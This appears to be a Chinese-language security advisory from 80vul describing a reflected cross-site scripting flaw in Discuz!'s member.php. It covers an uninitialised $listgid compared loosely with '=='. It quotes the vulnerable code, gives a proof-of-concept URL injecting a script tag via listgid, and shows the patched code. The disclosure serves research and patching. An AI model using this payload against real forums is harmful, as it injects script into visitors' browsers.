由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.
author: 80vul-B
team:http://www.80vul.com
一 分析
member.php代码:
if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) { //这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:) $type = $adminid == 1 ? 'grouplist' : $type; } else { $listgid = ''; } ... $multipage = multi($num, $memberperpage, $page, "member.php?action=list&listgid=$listgid&srchmem=".rawurlencode($srchmem)."&order=$order&type=$type", $membermaxpages);
二 利用
poc:
poc:
http://www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
会员列表页面存在分页时触发
三 补丁[fix]
刚发布的dz7 bt版本[1]已经fix这个漏洞了:
if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) { $type = $adminid == 1 ? 'grouplist' : $type; } else { $listgid = ''; }
[1]:http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论